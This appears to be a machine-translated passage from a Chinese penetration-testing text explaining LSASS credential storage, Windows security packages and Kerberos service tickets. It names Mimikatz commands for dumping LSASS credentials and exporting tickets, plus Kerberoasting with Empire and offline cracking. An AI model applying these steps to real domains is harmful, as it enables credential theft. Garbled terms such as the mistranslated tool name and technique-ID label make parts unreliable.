本地安全授权子系统服务(LSASS)用于在用户成功登录系统后将凭据存储在内存中。凭据可以是NT LAN Manager(NTLM)密码哈希、LM密码哈希,甚至是明文密码。这有助于在受信任的应用程序之间高效地共享凭据,而无需用户在每次需要身份验证时都输入用户和密码。安全支持提供程序(SSP)是一个动态链接库(DLL),使应用程序可以访问一个或多个安全包。安全支持提供程序接口(SSPI)用作SSP的接口,有助于方便访问存储的凭据。

MITRE ATT&CK矩阵中记录的允许访问子系统的一些SSP包括

  • Msv身份验证包:交互式登录、批量登录和服务登录
  • Wdigest摘要身份验证协议设计用于超文本传输协议(HTTP)和简单身份验证安全层(SASL)交换
  • TSPkg Web服务安全包
  • Kerberos对于Windows中的客户端-服务器域相互身份验证作为首选
  • CredSSP为远程桌面服务提供单点登录(SSO)和网络级身份验证。

从Windows命令终端执行Mimikatz时,您可以使用sekurlsa::logonPasswords选项提取LSASS进程内存。

服务主体名称Kerberos是一种网络身份验证协议,它利用票务系统允许通过网络运行的主机和用户以安全的方式相互证明其身份。这有助于抵御攻击者使用Kerberos协议消息进行窃听和重播攻击。密钥分发中心(KDC)持有所有密钥。当客户端使用域凭据成功进行身份验证时,票证授予票证(TGT)服务器将发送回一个凭据,用户可以使用该凭据向域内的其他受信任计算机和应用程序进行身份验证,如图10-8所示。每张票有两个生命周期:一个票的生命周期和一个可更新的生命周期。在任何时候,都可以请求一个新的票证,如果可更新的生存期尚未到期,KDC将生成一个新的票证。如果票证已过期,KDC将拒绝该请求,此时将要求用户重新验证。

图10-8 Kerberos配置

服务主体名称(SPN)是唯一的,用于标识Windows服务的每个实例。在Windows中,Kerberos要求SPN至少与一个服务登录账户(即运行该服务的账户)相关联。Kerberos使用SPN确定要使用哪个服务账户哈希来加密服务票证。Active Directory存储两种类型的SPN:基于主机的,默认情况下是随机的,并链接到域内的计算机;以及任意的,有时链接到域用户账户。在渗透式测试期间,如果您能够破坏TGT,则可以从域控制器为任何主机或任意SPN请求一个或多个Kerberos票证授予服务(TGS)服务票证。如果任意SPN绑定到域用户账户,则该用户账户明文密码的NTLM哈希将用于创建服务票证,从而允许您使用密码破解实用程序破坏有效的域用户哈希并提供脱机密码破解的机会。这种攻击称为Kerberoasting(收件人和联系人ID:T1208)。Kerberoasting可以使用Empire框架实现自动化(https://www.powershellempire.com/)和调用Kerberoast PowerShell脚本,或使用Mimikatz和kerberos::list/export将票证列表从内存导出到。kirbi文件。然后,您可以使用转换实用程序将哈希转换为裂土器(JTR)可以理解的格式,或者使用https://github.com/nidem/kerberoast.

0 人点赞